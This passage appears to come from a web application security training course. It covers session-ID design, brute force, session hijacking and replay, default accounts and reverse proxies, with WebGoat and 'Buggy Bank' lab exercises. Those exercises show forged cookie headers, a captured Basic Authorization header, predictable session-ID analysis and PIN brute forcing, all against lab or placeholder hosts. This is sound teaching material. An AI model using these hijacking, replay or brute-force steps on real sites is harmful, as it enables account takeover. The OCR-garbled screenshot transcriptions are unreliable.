complex and difficult to implement successfully. The method relies upon three sources of session ID
information. This information is held within the URL, the HTTP REFERER field and cookies.

When a client initially connects to the application as a guest, they are assigned a unique personal identifier
(ID1), and this information is then embedded within the URL that they are redirected to. Also contained within
the URL is a random identifier for the viewed page (ID2). A third personal identifier (ID3) is delivered as a
session cookie, with a lifetime of the open client browser (i.e. the session cookie is held in memory - if the
browser window and any child windows are closed, the information is lost). If the application server registers no
activity from the client browser, the session information of ID3 is revoked.

1. Client connects to the site www.example.com over HTTP. http://www.example.com/

2. The Client is automatically redirected through a server-side redirect to the home page with a URL containing
the unique session information - ID1 (user = ID93x7HeT7P4a9) and ID2 (current page = 3789264).

http://www.example.com/page.jsp?user=1D93x7HeT7P4a9;cpage= 3789264

3. Within the HTTP server response, a session cookie is delivered (user track = UT23dWT3nQi7n4).
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Set-Cookie: UserTrack=" UT23dWT3nQi7n4"; path="/"; domain="www.example.com"; expires="2000-01-01
00:00:00GMT"; version=0

Within the page presented to the client, there will be many hyperlinks to other content pages within the
application. Each link has been dynamically generated to include the client ID1, and a randomly generated (but
catalogued) page identifier. As the unauthenticated user moves throughout the site, the current page identifier
will change while ID1 and ID3 remain static. ID3 will change when the user is successfully authenticated.

For pages containing user information submission areas, all HTML forms have hidden fields which include both
ID1 and ID2. If the submitted information is likely to contain ANY confidential or personal information, the
submission MUST be made securely over HTTPS.

4. Within the page, each hyperlink is uniquely addressed and contains an associated random identifier.

<a href="/page.asp?user=I1D93x7HeT7P4a9;npage=8777623">Link 1</a>
<a href="/page.asp?user=I1D93x7HeT7P4a9;npage=6319632">Link 2</a>
<a href="/subs/page.asp?user=I1D93x7HeT7P4a9;npage=6349671">Link 3</a>

5. Within a page containing a user submission area, the form may look like the following (note that the ACTION
specifies both HTTPS and the full URL):

<FORM METHOD=POST ACTION="https://www.example.com/post/page.asp">

<INPUT TYPE="hidden" NAME="user" VALUE=" ID93x7HeT7P4a9">

<INPUT TYPE="hidden" NAME="cpage" VALUE="3789264">

<INPUT TYPE="text" NAME="data" MAXLENGTH="100">

<INPUT TYPE="submit" NAME="Send Data">

6. All pages or data submissions by the client browser will include the session cookie information (ID3).

7. The application must take the each identifier (ID1, ID2 and ID3) and check to see if they are valid for the
client request, and that they have not timed out or been revoked. If this information is NOT correct, the client is
redirected to the applications first page with all new identifiers (ID1, ID2 and ID3) and all previous ID
information is revoked.

8. When the client browser submits a request or follows a hyperlink, a HTTP REFERER value is included. This
value represents the URL that was previously presented to the client browser. The application should verify that
ID2 within the REFERER URL is the correct precursor to the newly requested page (npage=). If not, the client
browser has not followed the correct path to request the new page, and may be indicative of an attack in
progress.

For example, the correct sequence to reach page 2 from the initial page is by following "link 1". Therefore, the
request for the page http://www.example.com/page.asp?user=1D93x7HeT7P4a9;npage=8777623 must
contain http://www.example.com/page.jsp?user=1D93x7HeT7P4a9;cpage=3789264 in the HTTP REFERER
field.

9. If the identifiers are valid and correct, a new page is presented. ID2 is updated (e.g. current page =
8777623), while ID1 and ID3 remain the same.
http://www.example.com/page.jsp?user=1D93x7HeT7P4a9;cpage=8777623

10. The returned page contains new random identifiers for all hyperlinks. There should be a link to go "back" to
the previous page. However, the previous page will have been assigned a new random identifier. The client
browsers "Back" button will no longer work. For example:

Original Page 1 was http://www.example.com/page.jsp?user=1D93x7HeT7P4a9;cpage=3789264
Page 2 is http://www.example.com/page.jsp?user=I1D93x7HeT7P4a9;cpage=8777623

to return to Page 1, the URL may be -
http://www.example.com/page.jsp?user=I1D93x7HeT7P4a9;cpage=7322641

When the application requires the user to authenticate, all data submission MUST be over an encrypted session
such as HTTPS. If the user is successfully authenticated, a new session cookie (ID3) is issued, and the previous
session cookie information is revoked at the server. All communication there after (until the user decides to
"logout") must be over HTTPS.

11. If the user successfully authenticates with the application, the previous session cookie (ID3) is revoked and
a new ID3 is issued through the now encrypted HTTPS session.
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12. The application must be able to associate ID3 with the type of communication (i.e. HTTP or HTTPS), and
immediately revoke all session information (ID1, ID2 and ID3) if the new ID3 is used to access non-secure
application resources. The use of revoked or inappropriate session information should result in the client
browser being redirected to the start page and issued with all new session identifiers as previously discussed.

13. Again, just like the unsecured parts of the application, all pages passed to the client in the authenticated
and secure part of the application should have randomly generated page identifiers.

14. The user must have the facility to "logout" and cancel their session. Logging out results in the revocation of
all session information and, if possible, the automatic closing of the client browser. In addition, it is a good
practice to ensure that both the HTML Meta tags associated with caching and HTTP caching options are set to
expire in the past so that no page content should be stored on the client system.

It is important to note that when utilising session information in the URL, it becomes near impossible to conduct
any kind of URL embedded cross-site scripting attack. By assigning unique random identifiers to each page and
linking between pages with one-time identifiers, it is almost impossible for an attacker to conduct any brute
force or repetitive attacks. However, as this session method relies upon the use of session cookies, it will not
work with client browsers that have disabled cookies. In some cases, a client browser page request may not
contain any data in the HTTP REFERER field.

Conclusions

The stateless nature of HTTP requires organisations to use their own custom method of managing state through
the use of session specific information. While there are a number of ways of implementing a session
management solution, there are benefits and restrictions to each implementation. It is vital that developers
understand both the mechanisms available to them, as well as the limitations. For applications requiring an
application user to authenticate to access resources, it is imperative that the session management process is
implemented securely.

The likelihood of an attacker specifically targeting the session management process is growing on a daily basis.
As the security technologies strengthen the server hosts perimeter defences, and good patching management is
implemented, session handling often represents the weakest area of critical services.

While this paper has described the limitations of various session handling methods, developers must be aware
that good session management is only one component of building a secure application. Good session
management can be bypassed through other poorly coded and implemented application components, and
should not be seen as a stand-alone security measure.
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6.1 Brute Force

Introduction

Brute-Forcing involves performing an exhaustive key search of a web application authentication token's key
space in order to find a legitimate token that can be used to gain access. This usually takes the form of grinding
through a list of usernames and passwords, looking for a particular response that indicates a valid session was
found.

Detail

Most web applications require users to enter a username and password for authentication. After authentication
a cookie is often issued to continue to manage the authenticated state.

Malicious users can try (usually automated) combinations of well known usernames and passwords, or indeed
attempt all possible combinations of the accepted character set.
Countermeasures

. Lock out accounts after unsuccessful login attempts.

= Create a delay in the time from one authentication attempt to another.

L] Enforce the use of strong user passwords and unpredictable user-id's

6.2 Infrastructure Authentication

Introduction

A web application will often rely on other logical infrastructure components in order to provide or augment its
authentication and access control mechanisms. An attacker can forge valid credentials or circumvent the need
for them entirely by exploiting the application's dependencies on these components or by targeting the
components directly.

Detail

Some web applications rely on underlying infrastructure or services external to the application that may or may
not implement a appropriate level of security. In some cases these dependencies are a necessary evil of
designing a web application, however improper implementation or design choices may allow an attacker to
circumvent security controls by exploiting the surrounding infrastructure or services.

Types of infrastructure components that are commonly used for authentication and access control include proxy
and reverse proxy servers, external authentication services (e.g. One Time Passwords, RADIUS, Microsoft
Passport, Kerberos, software/hardware tokens, etc.), and DNS to name a few. A web application is only as
secure as its weakest part, and any improper configuration or weak security in external infrastructure can serve
as a weak link for an attacker to target.
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A few exploitation scenarios:

IP Address Filtering

Some web applications restrict access to a finite range of IP addresses. Some schemes restrict access
to a certain range of predetermined administrative workstations' addresses, while other intranet
applications simply ensure the originating IP address of the HTTP client is within a certain internal
range (e.q. 192.168.X.X, 172.16.X.X, etc.). An attacker wishing to access these types of applications
can often exploit misconfigured web proxy servers that provide not only outgoing service, but incoming
service as well (unintentional reverse proxy). An attacker can use the outside interface of one such
misconfigured web proxy server to access internal web resources, with the benefit of taking on the IP
address of the proxy server's internal interface. This can result in the attacker circumventing IP
address filtering rules on internal organizational web applications (e.g., intranet, university registration
systems, content management software, etc.)

DNS Filtering

Along the same line as IP Address filtering, some web applications use DNS resolution to restrict
access to only those HTTP clients within a certain domain (or a specific country, etc.). For instance, a
university may only allow access to its class registration web application from originating HTTP client IP
addresses that resolve to x.x.site.edu. An attacker could circumvent this security control by either
compromising the site.edu authoritative DNS server, or subverting the DNS records by performing DNS
cache poisoning or Man-in-the-Middle attacks. By subsequently convincing the web application that his
HTTP client resolves to a site.edu owned address, an attacker could then try to gain access to the
application.

External Authentication Services

Many authentication systems provide hooks for web developers who wish to integrate these services in
the authentication scheme of an application. By using these services, the web application is now also
dependent on the cryptographic strength, availability, and various security controls surrounding these
systems. For example, assume a kerberized web application resides within an intranet, and this
application only grants access to users who have properly authenticated to the Kerberos Authentication
Server (AS) and received a valid ticket from the Ticket Granting Server (TGS) . If an attacker can
compromise the Kerberos AS or TGS, then there is a chance that he can forge an authorized ticket
used in gaining unauthorized access to this web application.

Countermeasure

Use GetHostByIP and not GetHostByName

In general, rely on external infrastructure and services as little as possible; provide some internal failsafe
security mechanisms that a web application can rely on in the event of a security compromise of the
surrounding infrastructure.

Do not rely on DNS resolution and try not to rely solely on IP address filtering for authentication or access
controls.

When relying on third party or external security controls, perform the proper due diligence to ensure
appropriate levels of implemented security and that the processes in place exist to support the maintenance
and "security upkeep" of the infrastructure involved.
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6.3 Session Hijacking

Introduction

Session Hijacking involves an attacker using captured, brute forced, or reverse-engineered authentication
tokens to seize control of a legitimate user's web application session while that user is logged into the
application. This usually results in the legitimate user losing access or functionality to the current web session,
while the attacker is able to perform all normal application functions with the same privileges of the legitimate
user. This class of attacks usually relies on a combination of other simpler Session Management attacks (Brute
Force, Session Replay)

Detail

The act of taking control of the session after successfully obtaining or generating an authentication token is
called Session Hijacking. The user may or may not still have all or partial control of their session, and may be
kicked out in the process. Session Hijacking is usually the result of a successful replay or brute force attack in
which an attacker is able to successfully access a user's active session without proper user authentication. An
attacker is able to take control of an active session simply by pasting a URL into their browser or by loading
stolen cookie data into and accessing a particular web site or URL (see replay attack). Once the attacker has
successfully obtained access to the legitimate user's session, he can perform all of the same functions such as
reading e-mail, making online purchases, etc.

Session hijacking issues are also exacerbated by developers making the pre-determined session expiration time
too long or non-existent Potential Exploit.

An attacker is able to discover an active session to a banking web application by brute forcing through a
sequential list of URLs until a non-404 response is returned. The attacker then pastes the discovered URL into
his browser, takes control of the session, goes to online bill pay, writes himself a large check, and logs out,
then goes to Best Buy to pre-spend his booty.

Countermeasure

When practical, limit successful sessions to specific IP addresses.

This usually only works when dealing with an intranet setting where the IP ranges are predictable and finite.
Re-authenticate the user before critical actions are performed (i.e. a purchase, money transfer, etc.)

If possible, try to limit unique session tokens to each browser instance (e.g. generate the token with a hash of
the MAC address of the computer and process id of the browser, etc.)

Follow the same general set of countermeasures to prevent Replay and Brute Force attacks.
Use x.509 certificates to prevent more traditional types of TCP traffic predictable sequence number hijacking
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6.4 Session Replay

Introduction

A web application is vulnerable to a replay attack if a user's authentication tokens are captured or intercepted
by an attacker. A replay attack involving a web application means that an attacker directly uses these
authentication tokens (e.g., session ID in URL, cookie, etc.) to obtain or create service to the user's account
while bypassing normal user authentication (logging in with the appropriate username or password). For
example, by sniffing a URL that contains the session ID string, an attacker may be able to obtain or create
service to that user's account simply by pasting this URL back into his web browser. The legitimate user may
not necessarily need to be logged into the application at the time of the replay attack.

Detail

A traditional replay attack in the cryptography sense is an attack in which a valid data transmission is
maliciously or fraudulently repeated, either by the originator or by an adversary who intercepts the data and
retransmits it.

In a typical web application logon scenario, two authentication tokens are exchanged - a user identifier and
password - for a single authentication token (or session ID), which is thereafter used as the only authentication
string. While it is generally clear that username/password pairs are indeed authentication data and therefore
sensitive, it is not generally understood that these generated authentication tokens are also just as sensitive.
Many users who may have extremely hard-to-guess passwords are careless with the protection of cookies and
session information that can be just as easily used to access their accounts in a replay attack. This is often
considered forging "entity authentication" since most applications check the tokens stored in the browser or
HTTP stream, and do not require user authentication after each web request.

By simply sniffing a HTTP request of an active session, or capturing a desktop user's cookie files, a replay
attack can be very easily performed.

Exploitation can take the following general forms:

Example 1

Visiting a pre-existing dynamically created URL that is assigned to a specific user's account which has been
sniffed or captured from a proxy server log

Visiting a specific URL with a preloaded authentication token (cookie, HTTP header value, etc.) captured from a
legitimate user

A combination of 1 and 2.

Visiting a pre-existing URL meant only for the legitimate user

Pointing a browser at any of the following URLS will allow an attacker to access the intended user's account.
The session ID at the end of each URL can either be captured in the HTTP request stream by sniffing or by
looking at proxy logs:

http://www.target.com/r?iid=PLZTATCVYCFNWNTTWDHM
http://www.target2.com/view/AD30726065999998
http://www.target3.com/change password.cqi?440218782891

Example 2

Visiting a static URL with preloaded captured or engineered tokens
If the following cookie values are pre-loaded (through capture) into my HTTP-agent, I can visit
http://www.target4.com as the registered user johndoe without entering my username and password:

User-Cookie=13fe8ffw4799f27dcf19c959dafa8437;
VisitorID=3f29f9cade088ff8643d985dabec5127;
ScreenName=johndoe;
JSESSIONID=aaa8kyqr5vgtiw;
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Example 3

Another example is if an attacker is able to capture the Basic Authentication base64 encoded string for a
particular user's session and load it into his own HTTP request header, thus bypassing the normal
username/password window prompt:

GET /protected/users.html HTTP/1.1
Authorization: Basic QWRtaW46Zm9vYmFy
HOST: www.site.com

ACCEPT: */*

Example 4

Combination of visiting a dynamic web site with pre-loaded cookie data
If an attacker visits the dynamic URL http://www.target5.com/exec/obidos/subst/home/home.html/002-
9207263-8543243 with the following captured cookie data:

session-id=002-9207263-8543243
session-id-time=1009526400
ubid-main=430-4155015-8794520
x-main=hQFiIxHUFj8MCscT@Yb5Z7xsVsOFQjBf

then the attacker has access to the registered user's web site account without having to use a username or
password. Notice the dynamic URL ending is the same as the session-id cookie variable.

Countermeasures

= Generate hard to reverse-engineer Session IDs for authenticated web users (i.e. use strong crypto,
MD5 hashes, etc.)

] Build and require SSL (or other encryption) into the web application so that the authentication token
can not be easily sniffed in transit between browser and server; Ensure that all cookies enable the
"secure" field (see OWASP's explanation of cookies)

L] Provide a logout function that expires all cookies and other authentication tokens

= Users can choose not to select the "Remember Me" option on web application accounts so that
authentication tokens are not persistent after logout
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6.5 Exercises

Exercise 1 : Spoof an Authentication Cookie

Conduct the exercise at http://127.0.0.1:9090/WebGoat/attack?Screen=2

Your task is to login with the provided user account, once you have done so you will receive a cookie, don’t eat
the cookie.....spike is your friend

Your final goal is to authenticate to the system without the use of the username/password

Exercise 2 : Bypass a Fail Open Authentication Scheme

Using the exercise located at http://127.0.0.1:9090/WebGoat/attack?Screen=6

Your task is to figure out that there is a condition were they authentication fails.
Use spikeproxy once again to submit your queries.

Hint : you may not really need all those parameters......

Exercise 3 : Predictable Session ID” s auf Buggy Bank

. IMini-Browser 2.20 1ol
URL: Ihllp /#192.168.110.100/cgi-bindwm.cgi ;I
PostData I =]
Referrer Ihllp.fﬂ 92.168.110.100 ;I

[~ Use Interet Explarer directly [only to determing PostData, do not use this technigue for Cookies)

Get Post | Headell Aot | DeleleEnnklesl Hset:
Password.

Lag ‘ Browse ‘ Source (49) | Links (9] | Forms [11) HEuuk\es[Z] | Settings ‘ Mate | About / Info |

SessionlD=1073875115, path=/coi-kinfnem coi

&) Unbenannt - Editor

Datei Bearbeiten Format 7
1079873964

ol
1079875109
1079875115

Test: Mehrmals Anmeldungsseite anfordern. SessionID anschauen. Nach Muster suchen.

Bsp: SessionID 1079678257; 1079678258; 1079678259; etc. SessionlD ist zeitgesteuert. nach 5 Sekunden ist
ID = alte ID + 5. SessionID stellt also Sekunden dar. 1079678259/(360*24*365)= 34 Jahre. 2004-34 = 1970
(Unter Unix wird Datum anhand Sekunden seit 1970 gemessen). Buggy-Bank benutzt trivialen Algorithmus um
eine SessionID zu generieren. Diese SessionID konnen vorhergesehen werden.

Empfehlung
SessionID sollten einmalig und zugleich nicht (leicht) vorhersehbar sein. Um SSL einsetzten um sniffing zu
verhindern. Starke Crypto Verschliisselung einsetzten um Session Bruteforce zu erschweren.

Referenzen

Writing Secure Web Applications

PHP Session Management http://ch.php.net/session

Bruteforce of Web Application Session ID's http://www.cgisecurity.com/lib/SessionIDs.pdf
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Exercise 4 : Session Hijacking auf Buggy Bank

Test mit Minibrowser & Manueller HTTP Anfrage:

GET /cgi-bin/wm.cgi?transaction=summary HTTP/1.0

User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Cookie: SessionID=1079675720; path=/cgi-bin/wm.cgi

["1Mini-Browser 2.20
URL: Ihltp:.-".-"1 92.168.110.1 00 cgi-binwm. cai?transaction=surmmmary ;I

PostData: I ;I
Referer: Ihltp:.-".-"] 92.168.110.100/cgi-binwm. ci?usenid=12 345678901 238508 pin=4321 &ransaction=login submit:A;I

[~ Use Intemnet Explorer directly [only to determine PostDiata, do not uze this technique for Cookies)

User:

Get Post | Header | Lbart | Delete Eookiesl
Password:

ILUg | Browse | Source (43) | Links [10] | Forms | Cookies [3] | Settings | Note | About / Info

cmd= Host: 192.168.110.100

cmd> Cookie: SessionID=1073575955

cuds

hdr» HTTP/L.1 200 0K

hdr> Date: Sun, 21 Mar 2004 13:33:14 GMT

hdr> Ferwver: Apache/sl.3.27 (Unix) Debian GNU/Linux PHP/4.1.2

hdr> Expires: Sun, 21 Mar 2004 13:33:14 GMT

cookier Account=pCqny0PndkGve2Q3IZUIHEFSPHIvaaill03% 2B rEhlxgydsEal qubbMErwk 153D %30 GEG3%0L
hdr> Jet-Cookie: Account=pConylPndkGvZzZSIZUIHEFSPHIvSailT0S35ZBErEhI gy IsKal qubblEruk 1530
hdr» Connection: close

hdr> Content-Type: text/html; charset=I30-5559-1

RequestDone Error = 0

StatusCode = 200 \

CI
CLL . O = O O e/pipey, */¥

cud> Referer: http://192.165.110.100/cgi-bin/wm. cgl fuserid=12345678901238505spin=4321strans
cud= Uger-Agent: Mozillasd4.0 (compatible; M3IE 5.5; Windows 95; DigExt)

cmd= Host: 192.163. LJU.IOT
cmd> Cookie: Session
cuds

hdr» HTTP/L.1 200 0K
hdr> Date: Sun, 21 Mar 2004 13:33:42 GMT

hdr> Ferwver: Apache/sl.3.27 (Unix) Debian GNU/Linux PHP/4.1.2

by Commection: close

W Attempting Connect to :192.168

Host: 192.168.110.100

Referer: 192 .165.110.100

Accept . %%

Accept-Encoding: Hone

User—Agent: Mozilla<4.0 {compatible; MSIE 5.01; Windows NT 5.0)

Connection: C
Conkie: Verify completed HTTP Request

GET /fcgi-bindwrm.cgittransaction=transfer HTTRP/1.0 ;I
Host: 192,168.110.100

Referer: 192,168.110.100

accept: */*

Accept-Encoding: Mone

User-Agent: Mozilla/4.0 {compatible; MSIE 5.01; Windows
Connection: Close

Cookie: SessionlD=1079292705|

GET /cgi-bin/wm.cyiftransaction=sunmary HTTP/L.0

; Booount=pCony 0 PndkGvZ 20 IEZ0IHEFSPHIvSal LIT03% 26 frEhdx gy d

v
4 | »
Re Render

Cancel | Done | ~
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Exercise 5 : Passwort Bruteforce auf Buggy Bank

Schwachstelle: Nach 3 mal falsch eingeben des Passwortes wird das Konto gesperrt. Beim 4 mal anmelden
wird dem Benutzer mitgeteilt dass dieses Konto geperrt wurde. Die Fehlermeldung ist jedoch leicht anders
wenn das Passwort richtig gesetzt wurde. Angreifer kdnnte das Passwort bruteforcen wenn es gesperrt ist und
hoffen dass es nicht neu gesetzt wird wenn es wieder entsperrt wird. (Dieser Angriff wurde bei einer grosseren
Europaischen Bank erfolgreich durchgefiihrt)

Login Failed

Ten entered the meorrect PTR
Please try again {and again, and again, and again)

[f you lost your PII please call customer service or feel free to brute force attack this CGI

Eeturn to logm page.

Bank Account Access

User Guide

Bugc

i ebiiaven Home

Inztall Guide

Account is locked
Sorry, your account has been locked.
Please contact customer service for details

E.eturn to Logmn page of Bugay Bank

Bank Account Access

Install Guide

Bugg

en Home

Account is locked

otty, your account has been suspended. 3

Please contact customer service for detadls

Eeturn to Login page of Bugoy Banle

Empfehlung: Fehlermeldungen generell und vage halten.
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7. Configurations

7.11 Default Accounts

Introduction
Web applications typically have at least one user activated by default. This user, which is typically the
administrator of the system, comes pre-configured on the system and in many cases has a standard password.
The system can then be compromised by attempting access using these default values.
Detail
Web applications enable multiple default account on the system, for example:

= Administrator accounts

= Test accounts.

L] Guest accounts.
The accounts can be accessed from the web either using the standard access for all defined account or via
special ports or parts of the application, such as administrator pages. The default accounts usually come with
pre-configured default password whose value is widely known. Moreover, most application do not force a

change to the default password.

The attack on such default accounts can occur in two ways: Attempt to use the default username/password
assuming that it was not changed during the default installation.

Enumeration over the password only since the user name of the account is known (for more details see the
advisory regarding password enumeration). Once the password is entered or guessed then the attacker has
access to the site according to the accounts permissions, which usually leads in two major directions:

If the account was an administrator account then the attacker has partial or complete control over the
application (and sometimes, the whole site) with the ability to perform any malicious action.

If the account was a demo or test account the attacker will use this account as a means of accessing and
abusing the application logic exposed to that user and using it as a mean of progressing with the attack.

Countermeasures

= Always change out of the box installation of the application.

L] Remove all unnecessary accounts, following security checklist, vendor or public.
L] Disable remote access to the admin accounts on the application.

L] Use hardening scripts provided by the application vendors.

= Use a vulnerability assessment tool to check for default users and passwords.
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7.12 Vendor Patches

Introduction

Vulnerabilities are common within 3rd party tools and products that are installed as part of the web
applications. These web-server, application server, e-comm suites, etc. are purchased from external vendors
and installed as part of the site. The vendor typically addresses such vulnerabilities by supplying a patch that
must be downloaded and installed as an update to the product at the customer's site.

Detail

A significant part of the web application is typically not customized and specific for a single web site but rather
made up of standard products supplied by 3rd party vendors. Typically such products serve as the web server,
application server, databases and more specific packages used in the different vertical markets. All such
products have vulnerabilities that are discovered in an ongoing manner and in most cases disclosed directly to
the vendor (although there are also cases in which the vulnerability is revealed to the public without disclosure
to the vendor). The vendor will typically address the vulnerability by issuing a patch and making it available to
the customers using the product, with or without revealing the full vulnerability. The patches are sometimes
grouped in patch groups (or updates) that may be released periodically.

The main issue with vendor patches is the latency between the disclosure of the vulnerability to the actual
deployment of the patch in the production environment i.e. the patch latency and the total time needed to issue
the patch by the vendor, download of the patch by the client, test of the patch in a QA or staging environment
and finally full deployment in the production site. During all this time the site is vulnerable to attacks on this

published vulnerability. This results in misuse of the patch releases to achieve opposite results by humans and
more recently by worms such as CodeRed.

Most patches are released by the vendors only in their site and in many cases published only in internal mailing
lists or sites. Sites and lists following such vulnerabilities and patches (such as bugtraq) do not serve as a
central repository for all patches. The number of such patches for main-stream products is estimated at dozens
a month.

The final critical aspect of patches is that they are not (in most cases) signed or containing a checksum causing
them to be a potential source of Trojans in the system.
Countermeasures

. Subscribe to the vendors patch mailing list.

. Follow the general mailing lists for security patches e.g. bugtraq.

L] Reduce the patch latency by rapid installation of patches.

=  Apply lock down scripts that verify patch deployment.

=  Use vulnerability assessment tools.
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8. CHALLENGES

8.1 Challenge 1 :

Your task is to complete the challenge located at
http://127.0.0.1:9090/WebGoat/attack?Challenge=true&Screen=14

You will need to draw on all the knowledge that you have learned in the exercises.

Note that doing things the hardway are not always the most fruitfull....... remember that exercise way in the
beginning about enumeration.

Your mission is to :

break the authentication scheme

steal all the credit cards from the database
and then deface the website.

You will have to use many of the techniques you have learned in the other lessons. One hint, the last stage of
the challenge is based on Server-Side Includes (SSI) and you'll need to do some research.

8.2 Challenge 2 :

Your task is to complete the challenges located at :

http://127.0.0.1:81

You will need to draw on all the knowledge that you have learned in the exercises.

You may need to do some research online, spike is once again your friend
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Apprendix

What is A Reverse Proxy

So what exactly is a Reverse Proxy? First let’s review what a forward proxy or proxy is and how it

works. A forward proxy acts a gateway for a client’s browser, sending HTTP requests on the client’s behalf
to the Internet. The proxy protects your inside network by hiding the actual client’s IP address and using its
own instead. When an outside HTTP server receives the request, it sees the requestor’s address as
originating from the proxy server, not from the actual client.

A Reverse Proxy proxies on behalf of the backend HTTP server not on behalf the outside client’s

request, hence the term reverse. It is an application proxy for servers using the HTTP protocol. It acts as a
gateway to an HTTP server or HTTP server farm by acting as the final IP address for requests from the
outside. The firewall works tightly with the Reverse Proxy to help ensure that only the Reverse Proxy can
access the HTTP servers hidden behind it. From the outside client’s point of view, the Reverse Proxy is the
actual HTTP server.

Benefits and Drawbacks of A Reverse Proxy

One of the most immediate benefits of using a Reverse Proxy is that clients now have a single point

of access to your HTTP servers. This allows you to add another layer to your defenses that might just help
you catch an attack against your HTTP servers. Another benefit is that you have a single point of control
over who can access and to which HTTP servers you allow access to. A third benefit is the easy

replacement of backend servers or host name changes. With a Reverse Proxy these types of changes will
not affect the outside clients, because these types of changes are made in the Reverse Proxy rules or
mappings; therefore no more messy waiting for names to be republished to the outside DNS world. The

idea of having a single point of access also helps in load balancing and failover either by using a DNS round
robin scheme or by appliance hardware or software solutions such as F5 Networks Big IP, Cisco’s Content
Switch, or Macromedia’s ClusterCat. Another benefit of the Reverse Proxy is the ability to assimilate various
applications running on different Operating Systems behind a single facade. Another advantage is that
hardware costs can be lowered significantly because outside and inside clients can access the same

servers for the same HTTP requests. This reduction comes from eliminating the duplication of hardware, as
usually there are one or more servers for inside clients and one or more servers for the outside clients.
Using a Reverse Proxy allows us to secure our backend databases that may be required to service our

HTTP server requests without exposing them to the outside world.

Well there must be some sort of downside to the Reverse Proxy, isn’t there? This really sounds too

good to be true! Yes there are downsides to using a Reverse Proxy; just like anything else, it is not a perfect
solution. First if the Reverse Proxy goes south and you do not have failover installed, your entire HTTP
presence is down the drain in one fell swoop, not to mention your sleep. Another drawback is that if that an
attacker does compromise Reverse Proxy, the attacker may gain more insight into your HTTP server
architecture; or if the HTTP servers it is hiding are inside the firewall, the attacker might be able to
compromise your internal network. So it is still important to apply all security fixes to your Reverse Proxy and
backend servers as soon as they become available and are fully tested and to install Intrusion Detection
software on your servers and network. One more drawback is that there are a lot of translations that have to
occur for the Reverse Proxy and the firewall to do its translations, so requests may be fulfilled a little bit
slower. Another drawback is that attackers are starting to conceal their attacks using HTTP protocol. With all
our HTTP traffic going through the Reverse Proxy, we need to start adding content filtering to our arsenal to
help ensure that the HTTP requests are actually not attacks. Finally, if you are using analysis-reporting tools
against your HTTP servers, you will lose the ability to report on demographics. This is due to the fact that the
logs will show that all HTTP requests were from the Reverse Proxy.

How Does the Reverse Proxy Work

Now let’s get into just how a Reverse Proxy works. For this scenario we will be placing our Reverse

Proxy on a DMZ while the HTTP server(s) are inside our firewall on their own subnet (see Figure 1). The

site name is www.mysite.com, which resolves to a static NAT address of 10.0.1.1 and a real IP address of
192.168.0.1. This site and NAT address is our Reverse Proxy. Our server inside the firewall is
myserver.mysite.com and has a NAT address of 10.0.100.1 and a real IP address of 192.168.10.1. We
set up firewall rules to only allow 192.168.0.1 to access 192.168.10.1 on port 80 (4437?) and all port 80 traffic
is to be forwarded to 192.168.0.1. The host file on our Reverse Proxy has an entry for the host name
myserver.mysite.com and we associate the static NAT address of 10.0.100.1.

Now let’s get into just how a Reverse Proxy works. For this scenario we will be placing our Reverse

Proxy on a DMZ while the HTTP server(s) are inside our firewall on their own subnet (see Figure 1). The

site name is www.mysite.com, which resolves to a static NAT address of 10.0.1.1 and a real IP address of
192.168.0.1. This site and NAT address is our Reverse Proxy. Our server inside the firewall is
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Firewall

Reverse internet

Prosxy _
IP addr:198.162.0.1

NAT addr100.1.1
ey, mysite.com

Client

Inside

HTTP Server NeFuare

Farm

Server Server Server

IP addr: 98.162.10.1  IPaddr:198.162.10.2 |IP addr:198.162.10.3
NAT addr: 10.100.0.1  NAT addr:10.100.0.2 NAT addr:10.100.0.3
myserer.mysite.com

myserver.mysite.com and has a NAT address of 10.0.100.1 and a real IP address of 192.168.10.1. We
setup firewall rules to only allow 192.168.0.1 to access 192.168.10.1 on ports 80 and 443 and all port 80 and
443 traffic is to be forwarded to 192.168.0.1. The host file on our Reverse Proxy has an entry for the host
name myserver.mysite.com and we associate the static NAT address of 10.0.100.1.

In order for the Reverse Proxy to do its magic we need to define prefix mappings. There are two

types of prefix mappings -- regular and reverse. A regular mapping (see figure 2)

Source: myserver.mysite.com
Destination Source: www.mysite.com

is used to tell the Reverse Proxy which URL prefix is to be proxied and what the real or final destination URL is.
The reverse mapping translates the URL prefix back to the Reverse Proxy’s URL (i.e. www.mysite.com).

The reverse mapping (see figure 3) is what conceals the actual HTTP backend server names and allows it

to trap for redirects that might have occurred. This is the most important feature of the Reverse Proxy.

Source : www.mysite.com
Destination Source: myserver.mysite.com

Now for the nitty gritty. First a client sends an HTTP GET request to www.mysite.com (10.0.10.1).

The firewall receives this request, checks it against its NAT rules, which tell it to forward the request to the
Reverse Proxy at IP address 192.168.0.1. The Reverse Proxy receives the request and checks the prefix
URL against its mapping, and finds that the request needs to be forwarded to myserver.mysite.com. The
Reverse Proxy now forwards the request and again the firewall checks the request against its NAT rules.
The firewall sees that the request is from 192.168.0.1 (our Reverse Proxy) and that this address is allowed to
access 192.168.100.1 on port 80, so it forwards the request to the inside server. Now myserver.mysite.com
processes the request and returns the results back to the requestor, the Reverse Proxy. The Reverse Proxy
again checks the request against its reverse mappings and changes all references in the URL and the

HTTP header from myserver.mysite.com to www.mysite.com. After completing all translations, the Reverse
Proxy now forwards the request back to the client who originally sent the HTTP GET request. From the
client side it appears that the request was satisfied by www.mysite.com, but in reality it was satisfied by
myserver.mysite.com. As you can see it is pretty much a slight of hand game, which makes it harder for the
attacker to gain access to your crown jewels
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THE HTTP HEADER

The protocol this paper will focus on HTTP. HTTP is an "higher level" protocol used to exchange client requests
and the HTTPd responses. TCP/IP is the transport protocol on which the HTTP protocol rides.

Generally, HTTP is in clear-text while in transit. Most often, the Secure Socket Layer (17 SSL) facility is used to
secure HTTP traffic. SSL establishes an encrypted channel between the client and HTTPd through the use of
digital certificates.

The Open Web Application Security Project, in their paper HTTP Methods, explains that "[t]he (HTTP) client
request can be thought of as three parts. . .. the first part of a message always contains an HTTP command
called a method, followed by the URL of the file the web client is requesting, and the HTTP version number. The
second part of a client request contains what is called header information. This provides information about the
client and the data entity it is sending the server. The third part is the information entity body; the data being
sent to the server." (18 OWASP)

Client Request

The first line contains the method or command being sent to the

HTTPd. Methods include GET, POST, and HEAD. Well behaved request:

GET /default.asp HTTP/1.0

Next is the Universal Resource Identifier (URI), which is the specific |Query String:

file/resource being requested. GET
/default.asp?name=Joe&ID=1234
HTTP/1.0

The Universal Resource Identifier (URI) can be thought of as an absolute Universal Resource Locator (URL).
URLs can be relative, while URIs are absolute. "/cgi-bin/login.cgi" is a URL because it implies it is located on the
